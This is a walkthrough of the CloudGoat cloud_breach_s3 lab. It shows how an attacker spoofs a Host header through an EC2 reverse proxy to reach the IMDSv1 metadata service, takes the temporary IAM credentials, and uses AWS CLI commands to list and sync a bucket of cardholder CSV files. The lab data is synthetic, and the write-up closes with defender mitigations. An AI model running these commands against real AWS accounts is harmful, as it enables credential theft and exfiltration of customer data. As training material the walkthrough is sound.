This walkthrough covers the CloudGoat scenario cloud_breach_s3: exfiltrate confidential files from an S3 bucket. You are given an EC2 instance IP and the AWS account number. The instance acts as a reverse proxy, which becomes the pivot for the attack.

I started by hitting the EC2 instance metadata service. With a simple curl request I could query metadata. The instance used IMDSv1, which allows unauthenticated access from the instance or via SSRF. From there I retrieved temporary IAM credentials, configured the AWS CLI, enumerated S3 buckets, and downloaded the cardholder data files locally.

Lab safety: All commands and JSON below use redacted placeholders. Do not paste real access keys or tokens into public writeups. Rotate anything that was ever exposed.


What is instance metadata?

The Instance Metadata Service (IMDS) is how EC2 instances get identity and configuration about themselves, including temporary IAM credentials. Those credentials let the instance call AWS APIs without hardcoding secrets.

When misconfigured, IMDS is a serious risk. With IMDSv1, any process (or attacker) that can reach 169.254.169.254 from the instance—or through a vulnerable proxy—can often read metadata without a session-oriented challenge. AWS shipped IMDSv2 with a session token requirement to reduce SSRF and casual credential theft.


What is S3?

Amazon S3 is object storage: files live in buckets, which can be private or accidentally public. Misconfigured buckets are a common source of cloud data leaks (credentials, logs, customer data). Apply least privilege, block public access by default, and validate bucket policies and IAM.


Detailed steps

Initial access

After deploying the scenario, note the outputs (your values will differ):

cloudgoat_output_aws_account_id     = 123456789012
cloudgoat_output_target_ec2_server_ip = 203.0.113.50

Curl request via the reverse proxy (metadata / creds)

The proxy forwards requests; by setting Host: 169.254.169.254 you can sometimes reach the metadata service through the instance. Query the instance profile role credentials (role name comes from your lab):

curl -H 'Host: 169.254.169.254' \
  "http://<EC2_PUBLIC_IP>/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

Example shape of the response (values redacted):

{
  "Code": "Success",
  "LastUpdated": "2025-05-13T00:42:40Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA****************",
  "SecretAccessKey": "[REDACTED]",
  "Token": "[REDACTED]",
  "Expiration": "2025-05-13T07:18:11Z"
}

Configure a named CLI profile (e.g. s3-token) with those three fields via aws configure or environment variables.

Caller identity

aws sts get-caller-identity --profile s3-token

You should see the assumed-role ARN for the instance role, matching the lab account.

Enumerating S3

aws s3 ls --profile s3-token

List objects in the target bucket:

aws s3 ls s3://cg-cardholder-data-bucket-<unique_suffix>/ --profile s3-token

Example listing:

cardholder_data_primary.csv
cardholder_data_secondary.csv
cardholders_corporate.csv
goat.png

Exfiltrate objects

aws s3 sync s3://cg-cardholder-data-bucket-<unique_suffix>/ . --profile s3-token

The CSVs illustrate sensitive fields (names, emails, etc.)—treat them as synthetic lab data only.


Mitigations (defender view)

  • Enforce IMDSv2 on EC2 (HttpTokens: required).
  • Harden reverse proxies so they cannot forward arbitrary hosts to link-local addresses.
  • Least privilege on instance roles; scope S3 actions to required prefixes.
  • S3 Block Public Access and continuous checks on bucket policies and ACLs.

References